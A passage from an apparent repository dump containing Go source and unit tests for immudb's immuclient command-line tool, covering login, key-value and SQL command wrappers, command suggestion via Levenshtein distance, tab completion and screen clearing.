client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\tmsg, err := cli.getRawBySafeIndex([]string{\"0\"})\n\trequire.NoError(t, err, \"GetRawBySafeIndex fail\")\n\trequire.Contains(t, msg, \"hash\", \"GetRawBySafeIndex failed\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/cli/login.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) login(args []string) (string, error) {\n\treturn cli.immucl.Login(args)\n}\n\nfunc (cli *cli) logout(args []string) (string, error) {\n\treturn cli.immucl.Logout(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/login_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/stretchr/testify/require\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestLogin(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tts := tokenservice.NewInmemoryTokenService()\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\n\tic.Connect(bs.Dialer)\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\tcli.immucl.WithFileTokenService(ts)\n\n\tmsg, err := cli.login([]string{\"immudb\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"immudb user has the default password\", \"Login failed\")\n\n\tmsg, err = cli.logout([]string{\"immudb\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"Successfully logged out\", \"Login failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/misc.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"github.com/codenotary/immudb/cmd/version\"\n)\n\nfunc (cli *cli) history(args []string) (string, error) {\n\treturn cli.immucl.History(args)\n}\n\nfunc (cli *cli) healthCheck(args []string) (string, error) {\n\treturn cli.immucl.HealthCheck(args)\n}\n\nfunc (cli *cli) version(args []string) (string, error) {\n\treturn version.VersionStr(), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/misc_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHealthCheck(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg, err := cli.healthCheck([]string{})\n\trequire.NoError(t, err, \"HealthCheck fail\")\n\trequire.Contains(t, msg, \"Health check OK\", \"HealthCheck fail\")\n}\n\nfunc TestHistory(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg, err := cli.history([]string{\"key\"})\n\trequire.NoError(t, err, \"History fail\")\n\trequire.Contains(t, msg, \"key not found\", \"History fail\")\n\n\t_, err = cli.set([]string{\"key\", \"value\"})\n\trequire.NoError(t, err, \"History fail\")\n\n\tmsg, err = cli.history([]string{\"key\"})\n\trequire.NoError(t, err, \"History fail\")\n\trequire.Contains(t, msg, \"value\", \"History fail\")\n}\n\nfunc TestVersion(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg, err := cli.version([]string{\"key\"})\n\trequire.NoError(t, err, \"version fail\")\n\trequire.Contains(t, msg, \"no version info available\", \"version fail\")\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/recommend.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"strings\"\n)\n\nfunc (cli *cli) correct(typedArg string) []string {\n\tsuggestions := make([]string, 0)\n\n\tfor _, cmd := range cli.commandsList {\n\t\tlevenshteinDistance := ld(typedArg, cmd.name, true)\n\t\tsuggestByLevenshtein := levenshteinDistance <= 2\n\t\tsuggestByPrefix := strings.HasPrefix(strings.ToLower(cmd.name), strings.ToLower(typedArg))\n\t\tif suggestByLevenshtein || suggestByPrefix {\n\t\t\tsuggestions = append(suggestions, cmd.name)\n\t\t}\n\t}\n\treturn suggestions\n}\n\nfunc ld(s, t string, ignoreCase bool) int {\n\tif ignoreCase {\n\t\ts = strings.ToLower(s)\n\t\tt = strings.ToLower(t)\n\t}\n\td := make([][]int, len(s)+1)\n\tfor i := range d {\n\t\td[i] = make([]int, len(t)+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= len(t); j++ {\n\t\tfor i := 1; i <= len(s); i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[len(s)][len(t)]\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/recommend_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestCorrect(t *testing.T) {\n\tcli := new(cli)\n\tcli.commands = make(map[string]*command)\n\tcli.commandsList = make([]*command, 0)\n\tcli.initCommands()\n\tcm := cli.correct(\"let\")\n\tassert.EqualValues(t, 2, len(cm))\n\n\tcm = cli.correct(\"safe\")\n\tassert.EqualValues(t, 4, len(cm))\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/references.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) reference(args []string) (string, error) {\n\treturn cli.immucl.SetReference(args)\n}\n\nfunc (cli *cli) safereference(args []string) (string, error) {\n\treturn cli.immucl.VerifiedSetReference(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/references_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReference(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\n\tmsg, err := cli.reference([]string{\"val\", \"key\"})\n\trequire.NoError(t, err, \"Reference fail\")\n\trequire.Contains(t, msg, \"value\", \"Reference failed\")\n}\n\nfunc TestSafeReference(t *testing.T) {\n\tt.SkipNow()\n\n\tcli := setupTest(t)\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\n\tmsg, err := cli.safereference([]string{\"val\", \"key\"})\n\trequire.NoError(t, err, \"SafeReference fail\")\n\trequire.Contains(t, msg, \"value\", \"SafeReference failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/register.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\ntype command struct {\n\tname     string\n\tshort    string\n\tcommand  func(args []string) (string, error)\n\targs     []string\n\tvariable bool\n}\n\nfunc (cli *cli) initCommands() {\n\t// Auth\n\tcli.Register(&command{\"login\", \"Login using the specified username and password\", cli.login, []string{\"username\"}, false})\n\tcli.Register(&command{\"logout\", \"\", cli.logout, nil, false})\n\tcli.Register(&command{\"use\", \"Select database\", cli.UseDatabase, []string{\"databasename\"}, false})\n\n\t// Get commands\n\tcli.Register(&command{\"safeget\", \"Get and verify item having the specified key\", cli.safeGetKey, []string{\"key\"}, false})\n\tcli.Register(&command{\"get\", \"Get item having the specified key\", cli.getKey, []string{\"key\"}, false})\n\tcli.Register(&command{\"gettx\", \"Return a tx by id\", cli.getTxByID, []string{\"id\"}, false})\n\n\t// Set commands\n\tcli.Register(&command{\"set\", \"Add new item having the specified key and value\", cli.set, []string{\"key\", \"value\"}, false})\n\tcli.Register(&command{\"safeset\", \"Add and verify new item having the specified key and value\", cli.safeset, []string{\"key\", \"value\"}, false})\n\tcli.Register(&command{\"restore\", \"Restore older value of the key\", cli.restore, []string{\"key\"}, false})\n\tcli.Register(&command{\"safezadd\", \"Add and verify new key with score to a new or existing sorted set\", cli.safeZAdd, []string{\"setname\", \"score\", \"key\"}, false})\n\tcli.Register(&command{\"zadd\", \"Add new key with score to a new or existing sorted set\", cli.zAdd, []string{\"setname\", \"score\", \"key\"}, false})\n\n\tcli.Register(&command{\"delete\", \"Delete item having the specified key\", cli.deleteKey, []string{\"key\"}, false})\n\n\t// Current status commands\n\tcli.Register(&command{\"health\", \"Return the number of pending requests and the time the last request was completed\", cli.health, nil, false})\n\tcli.Register(&command{\"current\", \"Return the last tx and hash stored locally\", cli.currentState, nil, false})\n\n\t// Reference commands\n\tcli.Register(&command{\"reference\", \"Add new reference to an existing key\", cli.reference, []string{\"refkey\", \"key\"}, false})\n\tcli.Register(&command{\"safereference\", \"Add and verify new reference to an existing key\", cli.safereference, []string{\"refkey\", \"key\"}, false})\n\n\t// Scannner commands\n\tcli.Register(&command{\"scan\", \"Iterate over keys having the specified prefix\", cli.scan, []string{\"prefix\"}, false})\n\tcli.Register(&command{\"zscan\", \"Iterate over a sorted set\", cli.zScan, []string{\"prefix\"}, false})\n\tcli.Register(&command{\"count\", \"Count keys having the specified prefix\", cli.count, []string{\"prefix\"}, false})\n\n\t// Misc commands\n\tcli.Register(&command{\"status\", \"\", cli.healthCheck, nil, false})\n\tcli.Register(&command{\"history\", \"Fetch history for the item having the specified key\", cli.history, []string{\"key\"}, false})\n\tcli.Register(&command{\"version\", \"Print version\", cli.version, nil, false})\n\tcli.Register(&command{\"info\", \"Print server information\", cli.serverInfo, nil, false})\n\n\t// SQL\n\tcli.Register(&command{\"exec\", \"Executes sql statement\", cli.sqlExec, []string{\"statement\"}, true})\n\tcli.Register(&command{\"query\", \"Query sql statement\", cli.sqlQuery, []string{\"statement\"}, true})\n\tcli.Register(&command{\"describe\", \"Describe table\", cli.describeTable, []string{\"table\"}, false})\n\tcli.Register(&command{\"tables\", \"List tables\", cli.listTables, nil, false})\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/register_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestInitCommands(t *testing.T) {\n\tt.SkipNow()\n\n\tcli := new(cli)\n\tcli.commands = make(map[string]*command)\n\tcli.commandsList = make([]*command, 0)\n\tcli.initCommands()\n\tassert.EqualValues(t, 25, len(cli.commands))\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/scanners.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) zScan(args []string) (string, error) {\n\treturn cli.immucl.ZScan(args)\n}\n\nfunc (cli *cli) scan(args []string) (string, error) {\n\treturn cli.immucl.Scan(args)\n}\n\nfunc (cli *cli) count(args []string) (string, error) {\n\treturn cli.immucl.Count(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/scanners_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestZScan(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, err := cli.set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\t_, err = cli.zAdd([]string{\"set\", \"445.3\", \"key\"})\n\trequire.NoError(t, err, \"ZAdd fail\")\n\n\tmsg, err := cli.zScan([]string{\"set\"})\n\trequire.NoError(t, err, \"ZScan fail\")\n\trequire.Contains(t, msg, \"value\", \"ZScan failed\")\n}\n\nfunc TestScan(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, err := cli.set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\tmsg, err := cli.scan([]string{\"k\"})\n\trequire.NoError(t, err, \"Scan fail\")\n\trequire.Contains(t, msg, \"value\", \"Scan failed\")\n}\n\nfunc TestCount(t *testing.T) {\n\tt.SkipNow()\n\n\tcli := setupTest(t)\n\n\t_, err := cli.set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\tmsg, err := cli.count([]string{\"key\"})\n\trequire.NoError(t, err, \"Count fail\")\n\trequire.Contains(t, msg, \"1\", \"Count failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/server_info.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) serverInfo(args []string) (string, error) {\n\treturn cli.immucl.ServerInfo(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/setcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) set(args []string) (string, error) {\n\treturn cli.immucl.Set(args)\n}\n\nfunc (cli *cli) safeset(args []string) (string, error) {\n\treturn cli.immucl.VerifiedSet(args)\n}\n\nfunc (cli *cli) restore(args []string) (string, error) {\n\treturn cli.immucl.Restore(args)\n}\n\nfunc (cli *cli) deleteKey(args []string) (string, error) {\n\treturn cli.immucl.DeleteKey(args)\n}\n\nfunc (cli *cli) zAdd(args []string) (string, error) {\n\treturn cli.immucl.ZAdd(args)\n}\n\nfunc (cli *cli) safeZAdd(args []string) (string, error) {\n\treturn cli.immucl.VerifiedZAdd(args)\n}\n\nfunc (cli *cli) UseDatabase(args []string) (string, error) {\n\treturn cli.immucl.UseDatabase(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/setcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSet(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg, err := cli.set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\trequire.Contains(t, msg, \"value\", \"Set failed\")\n}\n\nfunc TestSafeSet(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg, err := cli.safeset([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"SafeSet fail\")\n\trequire.Contains(t, msg, \"value\", \"SafeSet failed\")\n}\n\nfunc TestZAdd(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, err := cli.safeset([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := cli.zAdd([]string{\"val\", \"1\", \"key\"})\n\n\trequire.NoError(t, err, \"ZAdd fail\")\n\trequire.Contains(t, msg, \"hash\", \"ZAdd failed\")\n}\n\nfunc TestSafeZAdd(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, err := cli.safeset([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := cli.safeZAdd([]string{\"val\", \"1\", \"key\"})\n\n\trequire.NoError(t, err, \"SafeZAdd fail\")\n\trequire.Contains(t, msg, \"hash\", \"SafeZAdd failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) sqlExec(args []string) (string, error) {\n\treturn cli.immucl.SQLExec(args)\n}\n\nfunc (cli *cli) sqlQuery(args []string) (string, error) {\n\treturn cli.immucl.SQLQuery(args)\n}\n\nfunc (cli *cli) describeTable(args []string) (string, error) {\n\treturn cli.immucl.DescribeTable(args)\n}\n\nfunc (cli *cli) listTables(args []string) (string, error) {\n\treturn cli.immucl.ListTables()\n}\n\nfunc (cli *cli) useDatabase(args []string) (string, error) {\n\treturn cli.immucl.UseDatabase(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSqlFloat(t *testing.T) {\n\tcli := setupTest(t)\n\n\t_, err := cli.sqlExec([]string{\n\t\t\"CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val FLOAT, PRIMARY KEY(id))\",\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = cli.sqlExec([]string{\n\t\t\"INSERT INTO t1(val) VALUES(1.1)\",\n\t})\n\trequire.NoError(t, err)\n\n\ts, err := cli.sqlQuery([]string{\n\t\t\"SELECT id, val FROM t1\",\n\t})\n\trequire.NoError(t, err)\n\trequire.Regexp(t, `(?m)^\\|\\s+\\d+\\s+\\|\\s+1\\.1\\s+\\|$`, s)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/unixcmds.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\nvar clear = map[string]func(){\n\t\"linux\": func() {\n\t\tcmd := exec.Command(\"clear\")\n\t\tcmd.Stdout = os.Stdout\n\t\tcmd.Run()\n\t},\n\t\"windows\": func() {\n\t\tcmd := exec.Command(\"cmd\", \"/c\", \"cls\")\n\t\tcmd.Stdout = os.Stdout\n\t\tcmd.Run()\n\t},\n\t\"darwin\": func() {\n\t\tcmd := exec.Command(\"clear\")\n\t\tcmd.Stdout = os.Stdout\n\t\tcmd.Run()\n\t},\n}\n\nfunc (cli *cli) completer(line string) (c []string) {\n\tc = make([]string, 0)\n\tfor i := range cli.commandsList {\n\t\tif strings.HasPrefix(cli.commandsList[i].name, line) {\n\t\t\tc = append(c, cli.commandsList[i].name)\n\t\t}\n\t}\n\treturn c\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/unixcmds_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestCompleter(t *testing.T) {\n\tcli := new(cli)\n\tcli.commands = make(map[string]*command)\n\tcli.commandsList = make([]*command, 0)\n\tcli.initCommands()\n\tcm := cli.completer(\"safe\")\n\n\tassert.EqualValues(t, 4, len(cm))\n}\n\nfunc TestClear(t *testing.T) {\n\toses := []string{\"linux\", \"windows\", \"darwin\"}\n\tfor _, os := range oses {\n\t\tclearcmd := clear[os]\n\t\tassert.IsType(t, func() {}, clearcmd)\n\t\tclearcmd()\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/command/cmd.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/docs/man\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/client/auditor\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc Execute(cmd *cobra.Command) error {\n\tif isCommand(commandNames(cmd.Commands())) {\n\t\tif err := cmd.Execute(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc NewCommand() *cobra.Command {\n\tversion.App = \"immuclient\"\n\n\t// set the version fields so that they are available to the auditor monitoring HTTP server\n\tauditor.Version = auditor.VersionResponse{\n\t\tComponent: \"immuclient-auditor\",\n\t\tVersion:   fmt.Sprintf(\"%s-%s\", version.Version, version.Commit),\n\t\tBuildTime: version.BuiltAt,\n\t\tBuiltBy:   version.BuiltBy,\n\t\tStatic:    version.Static == \"static\",\n\t\tFIPS:      version.FIPSBuild(),\n\t}\n\tif version.BuiltAt != \"\" {\n\t\ti, err := strconv.ParseInt(version.BuiltAt, 10, 64)\n\t\tif err == nil {\n\t\t\tauditor.Version.BuildTime = time.Unix(i, 0).Format(time.RFC1123)\n\t\t}\n\t}\n\n\tcl := NewCommandLine()\n\tcmd, err := cl.NewCmd()\n\tif err != nil {\n\t\tc.QuitToStdErr(err)\n\t}\n\n\t// login and logout\n\tcl.Register(cmd)\n\t// man file generator\n\tcmd.AddCommand(man.Generate(cmd, \"immuclient\", \"./cmd/docs/man/immuclient\"))\n\tcmd.AddCommand(version.VersionCmd())\n\treturn cmd\n}\n\nfunc isCommand(args []string) bool {\n\tif len(os.Args) > 1 {\n\t\tif strings.HasPrefix(os.Args[1], \"-\") {\n\t\t\tfor i := range args {\n\t\t\t\tfor j := range os.Args {\n\t\t\t\t\tif args[i] == os.Args[j] {\n\t\t\t\t\t\tfmt.Printf(\"Please sort your commands in \\\"immudb [command] [flags]\\\" order. \\n\")\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}\n\nfunc commandNames(cms []*cobra.Command) []string {\n\targs := make([]string, 0)\n\tfor i := range cms {\n\t\targ := strings.Split(cms[i].Use, \" \")[0]\n\t\targs = append(args, arg)\n\t}\n\treturn args\n}\n\n// fprintln is equivalent to fmt.Fprintln but appends newline only if one doesn't exist.\nfunc fprintln(w io.Writer, msg string) {\n\tif strings.HasSuffix(msg, \"\\n\") {\n\t\t_, _ = fmt.Fprint(w, msg)\n\t} else {\n\t\t_, _ = fmt.Fprintln(w, msg)\n\t}\n}\n"
